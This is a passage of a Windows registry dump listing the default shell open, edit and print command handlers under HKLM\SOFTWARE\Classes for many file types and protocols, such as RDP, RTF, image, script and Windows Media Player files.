        (Standard)    REG_SZ    mstsc.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Edit\command
        (Standard)    REG_SZ    mstsc.exe -edit "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RDP.File\shell\Open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mstsc.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regedit\shell\open\command
        (Standard)    REG_SZ    regedit.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\open\command
        (Standard)    REG_SZ    regedit.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\regfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\RemoteAssistance.1\Shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemRoot%\system32\msra.exe" -openfile "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlefile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rlogin\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\rtffile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SavedDsQuery\Shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\dsquery.dll,OpenSavedDsQuery %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\config\command
        (Standard)    REG_SZ    "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\install\command
        (Standard)    REG_SZ    rundll32.exe desk.cpl,InstallScreenSaver %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scrfile\shell\open\command
        (Standard)    REG_SZ    "%1" /S
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Generate Typelib\command
        (Standard)    REG_SZ    "C:\Windows\System32\RUNDLL32.EXE" "C:\Windows\System32\scrobj.dll",GenerateTypeLib "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Open\command
        (Standard)    REG_SZ    "C:\Windows\System32\NOTEPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Register\command
        (Standard)    REG_SZ    "C:\Windows\System32\REGSVR32.EXE" /i:"%1" "C:\Windows\System32\scrobj.dll"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\scriptletfile\Shell\Unregister\command
        (Standard)    REG_SZ    "C:\Windows\System32\REGSVR32.EXE" /u /n /i:"%1" "C:\Windows\System32\scrobj.dll"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\search\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\search-ms\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe /separate,/idlist,%I,%L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SHCmdFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Shell.CDBurn\Shell\Prepare\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\shell32.dll,PrepareDiscForBurnRunDll %L
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SPCFile\shell\add\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtAddSPC %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SPCFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe cryptext.dll,CryptExtOpenPKCS7 %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\open\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\opennew\command
        (Standard)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\svgfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.3mf\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avci\Shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avci\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avcs\Shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avcs\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avif\Shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avif\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avifs\Shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.avifs\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.bmp\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.dib\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.fbx\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.gif\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.glb\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heic\Shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heic\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heics\Shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heics\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heif\Shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heif\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heifs\Shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.heifs\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.inf\shell\Install\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\InfDefaultInstall.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jfif\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpe\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpeg\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.jpg\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.obj\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ply\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.png\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ps1\Shell\0\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & '%1'"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.ps1\Shell\Edit\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.psd1\Shell\Edit\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.psm1\Shell\Edit\Command
        (Standard)    REG_SZ    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.stl\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tif\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\3D Edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\mspaint.exe "%1" /ForceBootstrapPaint3D
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.tiff\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.wdp\Shell\setdesktopwallpaper\Command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\image\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\shell\edit\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\text\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\telnet\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\textfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\themefile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\themepackfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe %SystemRoot%\system32\themecpl.dll,OpenThemeAction %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TIFImage.Document\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe "%ProgramFiles%\Windows Photo Viewer\PhotoViewer.dll", ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\TIFImage.Document\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\shimgvw.dll",ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\tn3270\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\rundll32.exe" "C:\Windows\System32\url.dll",TelnetProtocolHandler %l
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttcfile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttcfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttffile\shell\preview\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\ttffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\fontview.exe /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\txtfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Undecided\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\Open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\openas\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Unknown\shell\OpenWithSetDefaultOn\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\OpenWith.exe -override "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Edit\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Open2\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBEFile\Shell\Print\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Edit\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Open2\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\VBSFile\Shell\Print\Command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\vcard_wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WAB.AssocProtocol.LDAP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wab_auto_file\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Import "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wbcatfile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\sdclt.exe /restorepage
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wcxfile\shell\Open\Command
        (Standard)    REG_SZ    "C:\Windows\System32\xwizard.exe" RunWizard /u {7940acf8-60ba-4213-a7c3-f3b400ee266d} /z%1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wdpfile\shell\print\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_Fullscreen %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wdpfile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\shimgvw.dll,ImageView_PrintTo /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\webpnpFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\wpnpinst.exe %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.CompositeFont\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.IsoFile\shell\burn\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\isoburn.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.IsoFile\shell\mount\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.VhdFile\shell\mount\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.XamlDocument\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.XamlDocument\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\PresentationHost.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.Xbap\shell\edit\command
        (Standard)    REG_EXPAND_SZ    "%SystemRoot%\System32\notepad.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Windows.Xbap\shell\open\command
        (Standard)    REG_SZ    "C:\Windows\System32\PresentationHost.exe" "%1" %*
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowsBackupFolderOptions\shell\openDesktopIni\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\system32\sdclt.exe /FOLDEROPTIONS %1
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WindowsStore.License\shell\open\command
        (Standard)    REG_EXPAND_SZ    %SystemRoot%\System32\licensemanagershellext.exe "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\print\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /p "%1"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\wmffile\shell\printto\command
        (Standard)    REG_EXPAND_SZ    "%systemroot%\system32\mspaint.exe" /pt "%1" "%2" "%3" "%4"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.AudioCD\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:3 /device:AudioCD "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.BurnCD\Shell\Burn\Command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:3 /Task:CDWrite /Device:"%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVD\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:4 /device:DVD "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVR-MSFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.DVR-MSFile\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.VCD\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:4 /device:VCD "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.WTVFile\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP.WTVFile\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3G2\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3G2\shell\play\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP\shell\open\command
        (Standard)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"
    
    HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.3GP\shell\play\command
